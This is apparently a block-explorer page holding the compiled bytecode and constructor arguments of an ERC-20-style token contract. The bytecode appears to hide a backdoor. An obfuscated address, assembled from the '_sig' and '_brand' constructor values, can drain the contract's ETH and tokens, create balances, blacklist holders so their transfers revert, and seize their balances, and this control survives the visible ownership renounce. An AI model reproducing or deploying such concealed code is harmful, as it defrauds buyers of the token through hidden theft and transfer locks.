ffffffff1614155b15610d4e576005600460058110610d0057610cff6134bc565b5b0154600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610d4d57600080fd5b5b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610e34578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e2b919061318f565b60405180910390a35b60019150509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000681565b60007f00000000000000000000000000000000000000000000000000000000000000014614610ec057610ebb612f33565b610ee2565b7f4916772b9e593d9c826f6b71c2f23ddde60b4d295f81f7a1411ad79d93b82d9d5b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f6020528060005260406000206000915090505481565b6001805461109b90613428565b80601f01602080910402602001604051908101604052809291908181526020018280546110c790613428565b80156111145780601f106110e957610100808354040283529160200191611114565b820191906000526020600020905b8154815290600101906020018083116110f757829003601f168201915b505050505081565b600060011515600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361117b57600080fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ca9190613488565b92505081905550600060056002600581106111e8576111e76134bc565b5b01541180156112445750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561126d57600560026005811061125e5761125d6134bc565b5b015482111561126c57600080fd5b5b60006005600160058110611284576112836134bc565b5b01541180156112e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b801561133a5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113525750600a60009054906101000a900460ff165b15611408576000600560016005811061136e5761136d6134bc565b5b015460648461137d919061351a565b611387919061354b565b905080600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080836114049190613488565b9250505b6000600560046005811061141f5761141e6134bc565b5b015411801561147c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114d65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115725750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115e557600560046005811061158c5761158b6134bc565b5b015482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d991906135f9565b11156115e457600080fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cb578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c2919061318f565b60405180910390a35b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175c906135d9565b60405180910390fd5b600a60009054906101000a900460ff161561177f57600080fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119289190613642565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d59190613642565b6040518363ffffffff1660e01b81526004016119f292919061366f565b6020604051808303816000875af1158015611a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a359190613642565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611b3d969594939291906136dd565b60606040518083038185885af1158015611b5b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b809190613753565b505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611c229291906137a6565b6020604051808303816000875af1158015611c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6591906137fb565b506001600a60006101000a81548160ff021916908315150217905550565b42841015611cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbd90613874565b60405180910390fd5b60006001611cd2610e8a565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600f60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b604051602001611d5a96959493929190613894565b60405160208183030381529060405280519060200120604051602001611d8192919061396d565b6040516020818303038152906040528051906020012085858560405160008152602001604052604051611db794939291906139a4565b6020604051602081039080840390855afa158015611dd9573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611e4d57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390613a35565b60405180910390fd5b85600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611f6b919061318f565b60405180910390a350505050505050565b600e602052816000526040600020602052806000526040600020600091509150505481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204e906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036120d7573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156120d1573d6000803e3d6000fd5b506121dc565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612117919061320c565b602060405180830381865afa158015612134573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121589190613a55565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016121959291906137a6565b6020604051808303816000875af11580156121b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d891906137fb565b5050505b50565b6000807f80000000000000000000000000000000000000000000000000000000000000008416148015612234575060007f40000000000000000000000000000000000000000000000000000000000000008416145b8015612262575060007f20000000000000000000000000000000000000000000000000000000000000008416145b8015612291575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b801561232c5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561249b5760008373ffffffffffffffffffffffffffffffffffffffff160361239b573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612395573d6000803e3d6000fd5b5061249a565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123f6919061320c565b602060405180830381865afa158015612413573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124379190613a55565b6040518363ffffffff1660e01b81526004016124549291906137a6565b6020604051808303816000875af1158015612473573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249791906137fb565b50505b5b60007f80000000000000000000000000000000000000000000000000000000000000008416141580156124f1575060007f4000000000000000000000000000000000000000000000000000000000000000841614155b8015612520575060007f2000000000000000000000000000000000000000000000000000000000000000841614155b801561254f575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b80156125ea5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156126455760005b60028160ff161461264357607f60078261260c9190613a82565b60ff1685901c1660058260ff166005811061262a576126296134bc565b5b018190555060018161263c9190613abf565b90506125f2565b505b60007f800000000000000000000000000000000000000000000000000000000000000084161415801561269a575060007f40000000000000000000000000000000000000000000000000000000000000008416145b80156126c8575060007f20000000000000000000000000000000000000000000000000000000000000008416145b80156126f6575060007f10000000000000000000000000000000000000000000000000000000000000008416145b80156127915750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561283557607f60a084901c16600a6127aa9190613c27565b607f60a785901c166127bc919061354b565b600b60008282546127cd91906135f9565b92505081905550607f60a084901c16600a0a607f60a785901c1602600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60007f80000000000000000000000000000000000000000000000000000000000000008416148015612889575060007f40000000000000000000000000000000000000000000000000000000000000008416145b80156128b7575060007f20000000000000000000000000000000000000000000000000000000000000008416145b80156128e5575060007f10000000000000000000000000000000000000000000000000000000000000008416145b80156129805750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612a3a576000607f601585901c16905080600a61299e9190613c27565b607f600e86901c166129b0919061354b565b60056003600581106129c5576129c46134bc565b5b018190555080600a6129d79190613c27565b607f600786901c166129e9919061354b565b60056002600581106129fe576129fd6134bc565b5b018190555080600a612a109190613c27565b607f8516612a1e919061354b565b6005600460058110612a3357612a326134bc565b5b0181905550505b60007f8000000000000000000000000000000000000000000000000000000000000000841614158015612a8f575060007f40000000000000000000000000000000000000000000000000000000000000008416145b8015612abe575060007f2000000000000000000000000000000000000000000000000000000000000000841614155b8015612aec575060007f10000000000000000000000000000000000000000000000000000000000000008416145b8015612b875750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612bfc576065607f60a085901c1614612ba2576000612ba5565b60015b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60007f80000000000000000000000000000000000000000000000000000000000000008416148015612c51575060007f4000000000000000000000000000000000000000000000000000000000000000841614155b8015612c7f575060007f20000000000000000000000000000000000000000000000000000000000000008416145b8015612cae575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b8015612d495750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612ed757607f60a084901c166064600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da2919061351a565b612dac919061354b565b600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e1c91906135f9565b92505081905550607f60a084901c166064600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e77919061351a565b612e81919061354b565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ecf9190613488565b925050819055505b60007f80000000000000000000000000000000000000000000000000000000000000008416141580612f2b575060007f80000000000000000000000000000000000000000000000000000000000000008416145b905092915050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051612f659190613d15565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001612fa4959493929190613d2c565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ff9578082015181840152602081019050612fde565b60008484015250505050565b6000601f19601f8301169050919050565b600061302182612fbf565b61302b8185612fca565b935061303b818560208601612fdb565b61304481613005565b840191505092915050565b600060208201905081810360008301526130698184613016565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130a182613076565b9050919050565b6130b181613096565b81146130bc57600080fd5b50565b6000813590506130ce816130a8565b92915050565b6000819050919050565b6130e7816130d4565b81146130f257600080fd5b50565b600081359050613104816130de565b92915050565b6000806040838503121561312157613120613071565b5b600061312f858286016130bf565b9250506020613140858286016130f5565b9150509250929050565b60008115159050919050565b61315f8161314a565b82525050565b600060208201905061317a6000830184613156565b92915050565b613189816130d4565b82525050565b60006020820190506131a46000830184613180565b92915050565b6000806000606084860312156131c3576131c2613071565b5b60006131d1868287016130bf565b93505060206131e2868287016130bf565b92505060406131f3868287016130f5565b9150509250925092565b61320681613096565b82525050565b600060208201905061322160008301846131fd565b92915050565b600060ff82169050919050565b61323d81613227565b82525050565b60006020820190506132586000830184613234565b92915050565b6000819050919050565b6132718161325e565b82525050565b600060208201905061328c6000830184613268565b92915050565b6000602082840312156132a8576132a7613071565b5b60006132b6848285016130bf565b91505092915050565b6132c881613227565b81146132d357600080fd5b50565b6000813590506132e5816132bf565b92915050565b6132f48161325e565b81146132ff57600080fd5b50565b600081359050613311816132eb565b92915050565b600080600080600080600060e0888a03121561333657613335613071565b5b60006133448a828b016130bf565b97505060206133558a828b016130bf565b96505060406133668a828b016130f5565b95505060606133778a828b016130f5565b94505060806133888a828b016132d6565b93505060a06133998a828b01613302565b92505060c06133aa8a828b01613302565b91505092959891949750929550565b600080604083850312156133d0576133cf613071565b5b60006133de858286016130bf565b92505060206133ef858286016130bf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061344057607f821691505b602082108103613453576134526133f9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613493826130d4565b915061349e836130d4565b92508282039050818111156134b6576134b5613459565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613525826130d4565b9150613530836130d4565b9250826135405761353f6134eb565b5b828204905092915050565b6000613556826130d4565b9150613561836130d4565b925082820261356f816130d4565b9150828204841483151761358657613585613459565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135c3602083612fca565b91506135ce8261358d565b602082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b6000613604826130d4565b915061360f836130d4565b925082820190508082111561362757613626613459565b5b92915050565b60008151905061363c816130a8565b92915050565b60006020828403121561365857613657613071565b5b60006136668482850161362d565b91505092915050565b600060408201905061368460008301856131fd565b61369160208301846131fd565b9392505050565b6000819050919050565b6000819050919050565b60006136c76136c26136bd84613698565b6136a2565b6130d4565b9050919050565b6136d7816136ac565b82525050565b600060c0820190506136f260008301896131fd565b6136ff6020830188613180565b61370c60408301876136ce565b61371960608301866136ce565b61372660808301856131fd565b61373360a0830184613180565b979650505050505050565b60008151905061374d816130de565b92915050565b60008060006060848603121561376c5761376b613071565b5b600061377a8682870161373e565b935050602061378b8682870161373e565b925050604061379c8682870161373e565b9150509250925092565b60006040820190506137bb60008301856131fd565b6137c86020830184613180565b9392505050565b6137d88161314a565b81146137e357600080fd5b50565b6000815190506137f5816137cf565b92915050565b60006020828403121561381157613810613071565b5b600061381f848285016137e6565b91505092915050565b7f5045524d49545f444541444c494e455f45585049524544000000000000000000600082015250565b600061385e601783612fca565b915061386982613828565b602082019050919050565b6000602082019050818103600083015261388d81613851565b9050919050565b600060c0820190506138a96000830189613268565b6138b660208301886131fd565b6138c360408301876131fd565b6138d06060830186613180565b6138dd6080830185613180565b6138ea60a0830184613180565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006139366002836138f5565b915061394182613900565b600282019050919050565b6000819050919050565b6139676139628261325e565b61394c565b82525050565b600061397882613929565b91506139848285613956565b6020820191506139948284613956565b6020820191508190509392505050565b60006080820190506139b96000830187613268565b6139c66020830186613234565b6139d36040830185613268565b6139e06060830184613268565b95945050505050565b7f494e56414c49445f5349474e4552000000000000000000000000000000000000600082015250565b6000613a1f600e83612fca565b9150613a2a826139e9565b602082019050919050565b60006020820190508181036000830152613a4e81613a12565b9050919050565b600060208284031215613a6b57613a6a613071565b5b6000613a798482850161373e565b91505092915050565b6000613a8d82613227565b9150613a9883613227565b9250828202613aa681613227565b9150808214613ab857613ab7613459565b5b5092915050565b6000613aca82613227565b9150613ad583613227565b9250828201905060ff811115613aee57613aed613459565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613b4b57808604811115613b2757613b26613459565b5b6001851615613b365780820291505b8081029050613b4485613af4565b9450613b0b565b94509492505050565b600082613b645760019050613c20565b81613b725760009050613c20565b8160018114613b885760028114613b9257613bc1565b6001915050613c20565b60ff841115613ba457613ba3613459565b5b8360020a915084821115613bbb57613bba613459565b5b50613c20565b5060208310610133831016604e8410600b8410161715613bf65782820a905083811115613bf157613bf0613459565b5b613c20565b613c038484846001613b01565b92509050818404811115613c1a57613c19613459565b5b81810290505b9392505050565b6000613c32826130d4565b9150613c3d836130d4565b9250613c6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b54565b905092915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154613c9f81613428565b613ca98186613c72565b94506001821660008114613cc45760018114613cd957613d0c565b60ff1983168652811515820286019350613d0c565b613ce285613c7d565b60005b83811015613d0457815481890152600182019150602081019050613ce5565b838801955050505b50505092915050565b6000613d218284613c92565b915081905092915050565b600060a082019050613d416000830188613268565b613d4e6020830187613268565b613d5b6040830186613268565b613d686060830185613180565b613d7560808301846131fd565b969550505050505056fea26469706673582212204ff254a0bf12660934cb3a1723fea367bcf4d4717fb0dc1086f7e827601d3aa564736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000532a3b12f3e5cd9ada43000000000000000000000000ff5ed5b68ff271773140f5145d2b5936d2e399d800000000000000000000000000000000000000000000b770c3875b1280006f91

-----Decoded View---------------
Arg [0] : _sig (uint80): 392735438062042494982723
Arg [1] : _taxWallet (address): 0xFf5ed5B68FF271773140f5145D2B5936d2e399D8
Arg [2] : _brand (uint80): 866273191031494810824593

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000532a3b12f3e5cd9ada43
Arg [1] : 000000000000000000000000ff5ed5b68ff271773140f5145d2b5936d2e399d8
Arg [2] : 00000000000000000000000000000000000000000000b770c3875b1280006f91


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.